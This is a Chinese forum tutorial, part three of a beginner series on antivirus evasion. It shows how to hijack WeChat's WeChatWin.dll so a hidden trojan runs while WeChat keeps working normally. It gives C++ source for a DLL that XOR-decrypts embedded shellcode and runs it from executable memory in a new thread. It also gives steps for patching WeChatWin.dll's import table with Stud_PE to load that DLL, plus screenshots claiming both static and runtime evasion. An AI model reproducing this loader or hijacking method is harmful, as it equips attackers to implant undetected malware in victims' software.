新手上路
- 資源幣
- 15
- 積分
- 20
- 貢獻
- 0
- 在線時間
- 2 小時
- 注冊時間
- 2020-2-21
- 最后登錄
- 2020-5-3
|
零基礎入門學免殺(三)
第三期在當初寫第二期的時候我就想好了如何寫什么,雖然K總一直催我寫第三期,但是由于最近比較忙,一直在做 哎……. 所以額一直推到今天才開始寫。第三期呢我考慮的是劫持dll過后讓程序能夠正常運行,達到更隱蔽的運行木馬,由于朋友要求所以這次我拿的是微信來做的演示,制作期間遇到了很多問題,利用網(wǎng)上前輩的一些方法和工具行不通(可能是我太菜了),最后我下定決心以損失一次做*的時間為代價終于把它搞定了。下面我會提到我所遇到的問題,我個人不是很喜歡寫東西,所以這部分我不會詳細的說明,成功那一塊我會細說,B話不多說了,先上車吧。
查看可劫持DLL:
這一步老規(guī)矩,使用ProcessMonitor查看程序所加載的DLL,這次不需要第一個加載,隨便找一個加載的就行了,最好是當前目錄
1.png (82.06 KB, 下載次數(shù): 106)
下載附件
保存到相冊
2020-2-21 22:36 上傳
2.png (424.73 KB, 下載次數(shù): 101)
下載附件
保存到相冊
2020-2-21 22:36 上傳
隨便找了一個WeChatWin.dll,接下來就用這個dll做劫持演示
失敗的例子1:
首先我想到的第一個思路是利用IDA查看WeChatWin.dll所有的函數(shù)類型,然后自己寫一個test.dll,把WeChatWin.dll所有的函數(shù)移到test.dll,之后再調(diào)用WeChatWin.dll相應的函數(shù)。
3.png (446.24 KB, 下載次數(shù): 114)
下載附件
保存到相冊
2020-2-21 22:36 上傳
可以看到有很多的函數(shù),并且我唯一會的F5大法失效了。函數(shù)太多也不可能挨著試,并且我們要還原每個函數(shù),工作量巨大。那么對于相對較懶的我來說這個方法行不通。PS:我這里貼一張腦圖吧,測試代碼我就不寫了。
4.png (32.09 KB, 下載次數(shù): 112)
下載附件
保存到相冊
2020-2-21 22:37 上傳
腦圖中的WeChatWin.dll是自己寫的dll
test.dll為原來的WeChatWin.dll
假設function a 是wechat啟動第一個調(diào)用的函數(shù),當然你也可以加到其他函數(shù)里
失敗的例子2:
由于函數(shù)太多自己寫太麻煩,我想到了利用工具自動化實現(xiàn)。我在網(wǎng)上找到了一款工具DLL_Hijacker,可以自動生成C語言文件調(diào)用原dll的所有函數(shù)
5.png (324.98 KB, 下載次數(shù): 111)
下載附件
保存到相冊
2020-2-21 22:38 上傳
源碼如圖
6.png (138.21 KB, 下載次數(shù): 115)
下載附件
保存到相冊
2020-2-21 22:38 上傳
我隨便截取了一部分源碼,發(fā)現(xiàn)確實可以調(diào)用,但是有個問題 函數(shù)命名出現(xiàn)了@,編譯的時候會報錯,根據(jù)測試,只要是原dll的函數(shù)當中帶有形參的都會出現(xiàn)@符號,解決的方法就是用上面的辦法用IDA把帶有@的函數(shù)自己寫一遍。這里出現(xiàn)帶有@的函數(shù)太多顯然我不回去這么做,所以此路不通…….
柳暗花明又一村:
糾結(jié)了許久,我想到了以前玩劫持免殺遠控的時候用到過的一個方法:給正常程序添加一個輸入表,可以用到這里。具體實現(xiàn)方法如下
一:新建一個執(zhí)行shellcode的dll
利用第一期里面的方法二,先給shellcode進行加密,再解密運行,這里需要注意三點
執(zhí)行shellcode的命令必須放在dll的主函數(shù)里“DllMain”
需要新建一個線程運行shellcode
必須有一個導出函數(shù),函數(shù)里面的內(nèi)容隨意就好
代碼如下:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include
"stdafx.h"
#include
<windows.h>
#include
<iostream>
#define
KEY
0x97
unsignedchar
shellcode[] =
"\x6b\x7f\x1e\x97\x97\..... "
;
//這里寫加密shellcode
HANDLE
My_hThread
= NULL;
DWORD WINAPI ceshi(LPVOID pParameter)
{
unsignedchar
c[
sizeof
(shellcode)];
//獲取shellcode長度
for
(
int
i =
0
; i <
sizeof
(shellcode) -
1
; i++)
{
c = shellcode ^ KEY;
//進行解密
}
LPVOID
Memory
=
VirtualAlloc
(NULL,
sizeof
(c), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(
Memory
, c,
sizeof
(c));
((
void
(*)())
Memory
)();
return
0
;
}
BOOL APIENTRY
DllMain
( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
//初次調(diào)用dll的時候執(zhí)行下面的
My_hThread
= ::
CreateThread
(NULL,
0
, &ceshi,
0
,
0
,
0
);
//新建線程
break
;
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break
;
}
//ceshi();
return
TRUE;
}
extern
"C"
_declspec(dllexport)
void
test()
{
int
a;
a =
0
;
}
這段代碼大概的意思就是 當dll被調(diào)用的時候就執(zhí)行shellcode解密并且運行,所以必須要一個新建一個導出函數(shù)才能夠調(diào)用
我用的是vs2017編譯的
編譯好之后我們先用loadpe看一下是否有輸入表
7.png (194.75 KB, 下載次數(shù): 105)
下載附件
保存到相冊
2020-2-21 22:39 上傳
程序沒問題,接下來就是給WeChatWin.dll添加輸入表,這里需要用到的工具為Stud_PE 大家自行百度下載
操作步驟:打開Stud_PE-拖入WeChatWin.dll-點擊函數(shù)欄-右鍵添加新的輸入表-DLL選擇-選擇函數(shù)-添加清單-加入
之后把自己的dll放到WeChatWin.dll同目錄下運行微信即可。
8.png (491.23 KB, 下載次數(shù): 108)
下載附件
保存到相冊
2020-2-21 22:39 上傳
9.png (196.95 KB, 下載次數(shù): 107)
下載附件
保存到相冊
2020-2-21 22:40 上傳
先測試一下靜態(tài)免殺效果:
10.png (276.57 KB, 下載次數(shù): 103)
下載附件
保存到相冊
2020-2-21 22:40 上傳
動態(tài)免殺效果:
運行微信
11.png (46.86 KB, 下載次數(shù): 103)
下載附件
保存到相冊
2020-2-21 22:41 上傳
:
12.png (81.06 KB, 下載次數(shù): 100)
下載附件
保存到相冊
2020-2-21 22:41 上傳
|
|